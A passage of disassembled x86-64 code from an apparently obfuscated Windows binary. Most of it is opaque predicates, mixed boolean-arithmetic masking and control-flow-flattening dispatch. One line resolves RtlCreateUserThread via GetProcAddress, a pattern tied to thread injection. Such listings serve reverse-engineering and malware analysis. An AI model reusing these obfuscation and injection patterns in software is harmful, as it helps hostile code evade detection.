mov r9d, ecx
xor r9b, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
and dl, r9b
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, bl
mov ebx, edx
and dl, al
xor al, 1
xor bl, 1
and bl, al
or dl, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xa042a7eb
mov ecx, 0x14a08ebd
cmovne ebp, ecx
test al, 1
mov ecx, 0xa042a7eb
jmp 0x14015ac40
mov ecx, 0x922c77cb
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x4d572362
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x7fdafc1c
and ecx, 0x802503e3
or ecx, edx
mov edi, ecx
xor edi, 0x802503e3
mov edx, ecx
xor edx, 0x7fdafc1c
xor ecx, 0xacbbc25e
mov ebp, ecx
and ebp, edx
and ecx, edi
mov ebx, ebp
not ebx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0x6c08cab4
and ebp, 0x93f7354b
or ebp, eax
or ebx, esi
and esi, 0x6c08cab4
and ecx, 0x93f7354b
or ecx, esi
xor ecx, ebp
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0xd3613e43
and ebx, 0x2c9ec1bc
or ebx, eax
and edi, 0xad74e680
mov eax, edx
and eax, 0x528b197f
or eax, edi
xor eax, 0xad74e681
and edx, 1
or edx, eax
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0x25d18037
and ebx, 0xda2e7fc8
or ebx, ebp
or ecx, edx
and edx, 0x25d18037
and eax, 0xda2e7fc8
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xa5395119
and edx, ecx
or ecx, 0x5ac6aee6
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xff0d8f77
and eax, 0x305008
or eax, ebx
or ecx, ebp
and ebp, 0xff0d8f77
and edx, 0xf27088
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5ac6aee6
and ecx, 0xa5395119
or ecx, eax
mov eax, ecx
not eax
and eax, 0x4d9b2391
and ecx, 0xb264dc6e
or ecx, eax
mov eax, ecx
xor eax, 0x9204c862
xor ecx, 0x8920280
and ecx, 0x28f2168c
and eax, 0xd70de973
or eax, ecx
mov ecx, eax
xor ecx, 0x28d20080
xor eax, 0x9701c172
and eax, 0x9721d77e
and ecx, 0x68de2881
or ecx, eax
xor ecx, 0x68de2881
setne r10b
sete dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov eax, edx
xor al, r8b
mov ebx, eax
and bl, dl
and al, r8b
xor bl, 1
xor al, 1
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
xor dl, r9b
and dl, r9b
xor r10b, r9b
mov ebx, edx
and bl, r10b
xor r10b, dl
or r10b, bl
mov ecx, r10d
xor cl, 1
mov ebx, eax
xor bl, 1
and bl, al
mov edx, ecx
and dl, r10b
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
xor dl, 1
mov r8d, edx
xor r8b, r10b
or dl, r10b
xor dl, 1
or dl, r8b
xor dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x5b7819df
mov ebp, 0x50568346
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0x5b7819df
jmp 0x140159a39
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x1894a792
and ecx, edx
and edx, 0xe76b586d
or edx, ebp
xor edx, 0xe76b586d
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
xor ebp, 1
and ebp, edx
mov ecx, edx
not ecx
and ecx, 0x2e587982
and edx, 0xd1a7867d
or edx, ecx
mov ebx, edx
xor ebx, 0x10a7847c
mov ecx, ebp
not ecx
xor edx, 0x2e587983
mov edi, ecx
and edi, 0xe9584b82
and ebp, 0x16a7b47d
or ebp, edi
or ecx, edx
and edx, 0xe9584b82
and ebx, 0x16a7b47d
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6ebd65e9
and edx, ecx
and ecx, 0x91429a16
or ecx, ebp
mov ebp, ecx
xor ebp, 4
xor ecx, 0x6ebd65e9
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xfd6fdb9a
and ebp, 0x2902465
or ebp, edi
or ecx, ebx
and ebx, 0xfd6fdb9a
and edx, 0x2902465
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x5eee0536
mov ebp, 0xcd7cb018
cmovne edx, ebp
test cl, 1
mov ecx, 0x5eee0536
cmovne ecx, edx
test al, al
jmp 0x14015a97d
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0x5fb3c72b
and eax, 0xa04c38d4
or eax, edx
mov edx, eax
xor edx, 0xa04c38d4
xor eax, 0x5fb3c72b
and eax, ebx
not ebx
and edx, ebx
or eax, edx
xor ebx, eax
test ebx, eax
sete r8b
setne r9b
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov r10d, ebx
xor r10b, 1
mov eax, r10d
and al, bl
mov ecx, eax
xor cl, 1
xor al, bl
or cl, r10b
xor cl, 1
or cl, al
xor cl, r11b
and r9b, r11b
or r11b, r8b
xor r11b, 1
and dl, r8b
or dl, r9b
mov eax, r11d
and al, dl
xor dl, r11b
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov r8d, edx
xor r8b, al
xor al, 1
or al, bl
xor al, 1
or al, r8b
xor al, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x75f78d6a
mov edx, 0x90186e70
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x75f78d6a
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6491397
mov edx, eax
and edx, 0x41202040
or edx, ecx
xor edx, 0x41202040
and eax, 0xb896cc28
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xce10ff2f
and eax, 0x31ef00d0
or eax, ecx
mov ecx, eax
xor ecx, 0x76863307
xor eax, 0x80294408
and eax, 0x96a9560d
mov edx, ecx
and edx, 0x6956a9f2
or edx, eax
mov ebp, edx
xor ebp, 0x6956a9f2
xor edx, 0x14294600
mov eax, ebp
and eax, 0x34a16e9c
and ecx, 0xcb5e9163
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcb5e9162
and ecx, 0x34a16e9d
or ecx, eax
and edx, 0x346b6f92
mov eax, ebp
and eax, 0xcb94906d
or eax, edx
xor eax, 0x346b6f93
and ebp, 1
or ebp, eax
mov edx, ebp
not edx
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x2292abab
and ecx, 0xdd6d5454
or ecx, ebx
or eax, ebp
and ebp, 0x2292abab
and edx, 0xdd6d5454
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x88041806
mov edx, eax
and edx, 0x15830010
or edx, ecx
xor edx, 0x15830010
and eax, 0x6278e7e9
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x6278e7e9
and eax, 0x9d871816
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8be880f2
and eax, 0x74177f0d
or eax, ecx
mov ecx, eax
xor ecx, 0x44162e0d
xor eax, 0x88088090
and eax, 0xb809d190
and ecx, 0x47f62e6f
or ecx, eax
xor ecx, 0x47f62e6f
sete r8b
setne bl
cmp dword [0x14024b6d4], 0xa
setl dl
mov eax, ebx
xor al, r8b
and al, bl
mov ebx, eax
xor bl, 1
and bl, al
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
xor bl, dl
mov eax, edx
and al, r8b
xor dl, r8b
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x107360da
mov ebp, 0x470e03d7
cmovne eax, ebp
test dl, 1
mov edx, 0x107360da
cmove eax, edx
test cl, 1
jmp 0x14015be3d
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
or ecx, 0x73f8e947
mov ebp, ecx
not ebp
or eax, 0x8c0716b8
mov edx, eax
not edx
and ecx, 0x1799b4e7
and ebp, 0x88060218
or ebp, ecx
and eax, 0x1799b4e7
and edx, 0x60604900
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x86fb0727
and edx, 0x7904f8d8
or edx, eax
mov ebp, edx
xor ebp, 0xf503ee60
xor edx, 0xb81115
and edx, 0xd5ba9f55
mov ecx, ebp
and ecx, 0x2a4560aa
or ecx, edx
mov edx, ecx
xor edx, 0x2a4560aa
mov eax, edx
and eax, 0xb5dfdd94
and ebp, 0x4a20226b
or ebp, eax
mov eax, ebp
not eax
and eax, 0x4a20226a
and ebp, 0xb5dfdd95
or ebp, eax
and edx, 1
xor ecx, 0x2a4560ab
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9e0218e5
and ecx, 0x61fde71a
or ecx, edx
mov edx, ecx
xor edx, 0x20f40612
mov eax, ebp
not eax
xor ecx, 0x9e0218e5
mov ebx, eax
and ebx, 0xd909f92d
and ebp, 0x26f606d2
or ebp, ebx
or eax, ecx
and ecx, 0xd909f92d
and edx, 0x26f606d2
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2120d51d
and ecx, 0xdedf2ae2
or ecx, eax
xor ecx, 0x2120d51d
sete cl
setne al
cmp dword [0x14024b6d4], 9
setg bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov r8d, eax
xor r8b, 1
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xa1d54c70
mov ebp, 0x220ccdad
cmovne ecx, ebp
test al, 1
mov eax, 0xa1d54c70
cmovne ecx, eax
jmp 0x14015ac43
mov ecx, 0x3b244548
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x78c2f5df
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x67a31754
and ecx, 0x985ce8aa
or ecx, ebx
xor ecx, 0x985ce8aa
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
not edx
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe28c7aba
and edx, 0x1d738545
or edx, ecx
xor edx, 0x1d738545
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov ecx, r8d
and cl, bl
or bl, r8b
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov ecx, edx
and cl, r8b
xor dl, r8b
or cl, dl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ebx
xor al, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x3cc2e5d6
mov ebp, 0xd86a6b7e
cmovne edx, ebp
test al, 1
mov eax, 0x3cc2e5d6
cmovne edx, eax
test cl, 1
cmove edx, ebp
mov ecx, edx
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa0105b94
mov ebx, ecx
and ebx, 0x5fefa46a
or ebx, ebp
xor ebx, 0x5fefa46a
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0xc3f8385a
and ecx, 0x3c07c7a5
or ecx, edx
mov edx, ecx
xor edx, 0x3c07c7a5
xor ecx, 0xc3f8385a
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, eax
xor bl, 1
or al, bl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
and bl, al
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
and al, r10b
xor bl, 1
and bl, cl
or bl, al
and r9b, r10b
or r10b, r8b
xor r10b, 1
and cl, r8b
or cl, r9b
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
not al
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, ebx
xor cl, 1
xor bl, al
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xd2fc76ff
mov edx, 0x6370b5ef
cmovne ecx, edx
test al, 1
mov eax, 0xd2fc76ff
cmovne eax, ecx
test bl, 1
jmp 0x14014d6f9
mov ecx, dword [0x14024b6d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xb46a573c
and ecx, 0x4b95a8c3
or ecx, ebx
or eax, ebp
and ebp, 0xb46a573c
and edx, 0x4b95a8c3
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2276bd9f
and ecx, eax
and eax, 0xdd894260
or eax, edx
xor eax, 0xdd894260
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
sete r8b
cmp dword [0x14024b6d4], 0xa
setl al
mov ecx, r8d
xor cl, al
mov edx, ecx
and dl, al
mov r9d, ecx
and al, r8b
or al, cl
and cl, r8b
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor r9b, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
and dl, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x8ad5d11d
mov ebp, 0x6dccf9b
cmovne edx, ebp
test al, 1
mov ecx, edx
cmovne ecx, ebp
test bl, 1
cmove ecx, edx
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x7e07e000
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x7e85c1e3
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x57eb5928
and ecx, 0xa814a6d7
or ecx, edx
xor ecx, 0xa814a6d7
and ebx, 0xdbb79e92
and ebp, 0x2448616d
or ebp, ebx
xor ebp, 0x2448616d
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xa44374b5
and ebp, 0x5bbc8b4a
or ebp, ecx
xor ebp, 0x5bbc8b4a
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, r9b
and r8b, al
xor al, r9b
or al, cl
mov edx, eax
not dl
and bl, r9b
or bl, r8b
mov ecx, ebx
xor cl, 1
and bl, al
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xddd6a107
mov ebp, 0x12fc48fd
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, 1
mov eax, 0xddd6a107
jmp 0x14015c0d8
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x249232e4
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0xea50a375
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x67266312
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0xdeec1771
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x72c7d4e8
mov edx, ebp
and edx, 0x8d382b16
or edx, ecx
mov edi, edx
xor edi, 0x8c180900
xor edx, 0x52431088
mov ecx, ebp
or ecx, 0x5363329e
and edx, 0x5363329e
and edi, 0xac9ccd60
or edi, edx
and ecx, 0x5363329f
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xbf7e67d4
and ecx, 0x4081982b
or ecx, edx
xor ecx, 0x4081982b
and ebx, 0x3195d65a
and ebp, 0xce6a29a5
or ebp, ebx
xor ebp, 0xce6a29a5
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
cmp ebp, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg sil
cmp eax, 0xa
setl r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
xor bl, 1
mov r11d, ebx
xor r11b, al
or bl, al
xor bl, 1
or bl, r11b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, 1
mov edx, eax
or dl, r10b
xor dl, 1
xor al, r10b
not al
and al, r10b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
or r10b, r9b
xor sil, r8b
mov edx, r10d
xor dl, sil
xor sil, 1
xor dl, 1
or sil, r10b
xor sil, 1
or sil, dl
mov ecx, esi
xor cl, 1
mov edx, ecx
and dl, sil
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
xor al, 1
mov ecx, eax
and cl, sil
xor al, sil
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xfa277035
mov ecx, 0x9283f73d
cmovne ebp, ecx
test al, 1
mov ecx, 0xfa277035
cmovne ecx, ebp
test dl, 1
jmp 0x14015aecf
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x8457702a
and edx, ecx
not ecx
and ecx, 0x54000
and eax, 0x8452302a
or eax, ecx
xor eax, 0x8452302a
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x23ca518e
and edx, 0xdc35ae71
or edx, eax
mov eax, edx
xor eax, 0x5862de5b
mov ecx, edx
xor ecx, 0x5862de5a
and ecx, eax
xor edx, 0xa79d21a4
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe82e405
mov edx, eax
and edx, 0xd11409d0
or edx, ecx
xor edx, 0xd11409d0
and eax, 0x2069122a
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x24eed964
and eax, 0xdb11269b
or eax, ecx
mov ecx, eax
xor ecx, 0x4810940
xor eax, 0x39500010
and ecx, 0xc6a93de1
and eax, 0x3956c21e
or eax, ecx
xor eax, 0x3956c21e
sete bl
cmp dword [0x14024b6d4], 0xa
setl dl
mov eax, edx
or al, bl
xor al, 1
mov ecx, edx
xor cl, bl
or al, cl
mov r8d, eax
xor r8b, 1
and bl, cl
and cl, dl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov r10d, ecx
xor r10b, 1
mov r9d, ecx
and r9b, r10b
mov ebx, r9d
xor r9b, cl
or cl, r8b
and r8b, al
xor r8b, 1
mov edx, r8d
xor dl, al
or r8b, al
xor r8b, 1
or r8b, dl
xor bl, 1
or bl, r10b
xor bl, 1
or bl, r9b
xor bl, r8b
xor r10b, al
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xa64b3a63
mov edx, 0x43b7af37
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xa64b3a63
jmp 0x14015c0d8
mov ecx, 0x7176a0b8
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x3996409e
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xe06dc45e
mov ebx, eax
and ebx, 0x1f923ba0
or ebx, ebp
xor ebx, 0x1f923ba0
mov ebp, eax
and ebp, 1
or ebp, ebx
and edx, 0xc1566c8d
and eax, 0x3ea99372
or eax, edx
mov edx, eax
xor edx, 0x3ea99372
xor eax, 0xc1566c8d
and eax, ebp
not ebp
and edx, ebp
or eax, edx
xor ebp, eax
test ebp, eax
sete r9b
setne r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r8b
mov ebx, r10d
or bl, r8b
mov ecx, eax
or cl, r9b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r8b
and al, r9b
or al, r10b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov ebx, r8d
and bl, cl
and al, dl
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
xor al, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xa02112a0
mov ecx, 0x5838cc3e
cmovne ebp, ecx
test dl, 1
mov ecx, 0xa02112a0
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x51f64429
and edx, ecx
mov eax, ecx
or eax, 0xae09bbd6
mov ecx, eax
not ecx
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x2f0d26ce
and ecx, 0x50f24021
or ecx, ebx
or eax, ebp
and ebp, 0x2f0d26ce
and edx, 0xd0f2d931
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xae09bbd6
and eax, 0x51f64429
or eax, ecx
mov edi, eax
not edi
mov ebp, eax
xor ebp, 0x8d0e9f6
and ebp, edi
mov ebx, edi
or ebx, 0x8d0e9f6
mov edx, ebx
not edx
mov ecx, ebp
not ecx
mov esi, ecx
and esi, 0x937422dc
and ebp, 0x6c8bdd23
or ebp, esi
or ecx, ebx
and ebx, 0x937422dc
and edx, 0x640b1401
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2bdb666d
and ecx, 0xd4249992
or ecx, edx
xor ecx, 0xdcf47065
and edi, 1
xor eax, 0xfffffffe
or eax, edi
mov edx, eax
not edx
and edx, 0xb7bc4498
and eax, 0x4843bb67
or eax, edx
xor eax, 0x4843bb67
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x787eaf22
and eax, 0x878150dd
or eax, ecx
mov ecx, eax
xor ecx, 0x60010c9
xor eax, 0x84a8320
and eax, 0x89cbc334
and ecx, 0x76343ccb
or ecx, eax
mov eax, ecx
xor eax, 0x1014010
xor ecx, 0x76343ccb
mov edx, ecx
and edx, 0xbecaa7e7
and eax, 0x41355818
or eax, edx
xor eax, 0x41355818
or eax, ecx
cmp eax, 0xffffffff
setne r8b
sete dl
cmp dword [0x14024b6d4], 9
setg cl
xor dl, cl
and dl, cl
xor r8b, cl
mov ebx, edx
xor bl, 1
mov r9d, r8d
xor r9b, 1
xor dl, r8b
or bl, r9b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
and bl, r9b
xor dl, 1
and dl, r8b
or dl, bl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4e22823
mov ebp, 0xf627dff8
cmovne eax, ebp
test dl, dl
cmove eax, ebp
test cl, 1
mov ecx, 0x4e22823
jmp 0x14014d6f9
mov ecx, 0x144c976e
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
mov edx, ebp
xor edx, 0x2306734
and edx, ebp
not ebp
and ebp, 0xaa8d06b0
and edi, 0x5572f94f
or edi, ebp
mov ebp, edi
xor ebp, 0x206000
xor edi, 0x2000630
or edi, 0xfdcf98cb
mov ebx, edx
not ebx
mov ecx, edi
and ecx, 0x7e591b1e
and ebp, 0x206420
or ebp, ecx
or edi, ebx
and ebx, 0x7e591b1e
and edx, 0x81a6e4e1
or edx, ebx
xor edx, ebp
not edi
or edi, edx
mov edx, edi
not edx
and edx, 0xbd1cc905
and edi, 0x42e336fa
or edi, edx
mov edx, edi
xor edx, 0x40d351ce
mov ebx, edi
not ebx
mov ecx, edi
xor ecx, 0xa561b159
and ecx, edx
or edx, 0x1a4d1f68
mov ebp, edx
not ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0x88eda584
and ebp, 0x65124013
or ebp, eax
or edx, esi
and esi, 0x88eda584
and ecx, 0x77125a7b
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x896a7fa7
and edx, 0x76958058
or edx, eax
mov eax, edx
xor eax, 0x822120c0
and ebx, 1
xor edi, 0xbf2cae30
or edi, ebx
mov ecx, edi
not ecx
xor edx, 0x6cd89f31
mov ebp, edx
and ebp, 0x1d8e4a0e
and eax, 0xe271b5f1
or eax, ebp
or edx, edi
and edi, 0x1d8e4a0e
and ecx, 0xe271b5f1
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
xor eax, 0xeab41828
and eax, edx
not edx
and edx, 0xeab41828
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x154be7d7
and eax, 0xeab41828
or eax, ecx
setne r9b
sete dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
xor cl, 1
or bl, r9b
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
xor bl, 1
mov r8d, ebx
xor r8b, dl
or bl, dl
xor bl, 1
